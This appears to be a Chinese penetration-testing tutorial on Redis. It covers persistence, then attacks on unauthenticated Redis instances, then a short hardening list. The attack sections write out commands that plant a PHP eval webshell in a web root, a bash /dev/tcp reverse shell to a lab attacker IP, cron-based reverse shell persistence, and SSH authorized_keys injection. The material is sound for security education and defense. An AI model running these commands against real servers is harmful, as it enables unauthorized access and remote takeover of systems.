一、Redis相关知识

1、常见用途

缓存、分布式session、分布式锁、分布式全局ID、计数器、限流、列表、抽奖、标签、排行榜

2、Redis为什么这么流行?

(1)数据类型丰富,应用场景广泛
(2)纯内存的数据结构,读写速度快
(3)功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)

3、Redis持久化机制

(1)RDB :Redis DataBase(默认)
(2)AOF :Append Only File
配置:
(1)save 3600 1#自动触发规则
(2)dbfilename dump.rdb #文件名
(3)dir ./ #存储路径
手动触发保存命令: save / bgsave
动态修改配置
config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php

二、如何利用Redis实现攻击

1、webshell提权

前提:有HTTP服务器、知道文件保存路径、6379端口开放且无密码

redis-cli -h 192.168.142.66 -p 6379     #连接到6379端口(需要没有设置密码)
config set dir /www/admin/localhost_80/wwwroot     #修改存储路径
config set dbfilename redis.php        #修改文件名(php后缀)
set x " <?php @eval($_POST[cmd]); ?>"  #任意值写入一句话木马
save    #保存
#再用蚁剑连接即可

2、反弹连接

本地redis提权_web安全


本地redis提权_web安全_02

2.1、适用:

(1)在内网,只有私有IP
(2)IP动态变化
(3)6379端口不允许入方向
(4)—句话木马被杀软删除

2.2、实现:

1、监听端口

本地redis提权_安全_03

2、建立连接

(看机器有什么环境,通过命令直接连接,或者访问代码文件)

本地redis提权_web安全_04


本地redis提权_本地redis提权_05


本地redis提权_web安全_06

(*配合msf监听模块使用)

命令解析:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i   ——打开交互式终端
/dev/tcp/192.168.142.44/7777    ——建立TCP远程连接
 >&——将标准错误输出合并到标准输出中
0>&1——将标准输入重定向到标准输出中
标准输入(stdin):代码为0,使用<或<<;
标准输出(stdout):代码为1,使用>或>>;
标准错误输出(stderr):代码为2,使用2>或2>>
2.3、总结

流程
1、监听端口
2、执行命令,或者上传payload访问,建立连接
怎么上传?
1、文件上传漏洞
2、写入文件: MySQL、Redis、CMS
3、文本编辑命令: tee (vulnhub-breach). test.py (vulnh
ub-DC9)
怎么执行?
访问或者定时任务自动触发

2.4、Redis写入反弹连接任务

定时任务

Linux cron表达式

本地redis提权_Redis_07

cron文件牛存储路径

本地redis提权_渗透测试_08

3、SSH key免密登录

3.1、流程

1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功

3.2、Redis利用SSH Key提权流程

1、控制机连接到Redis
2、向$HOME/.ssh/authorized_keys写入公钥
3、ssh -i ./id_rsa user@IP 使用私钥免密登录
4、执行后续操作

三、Redis加固

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis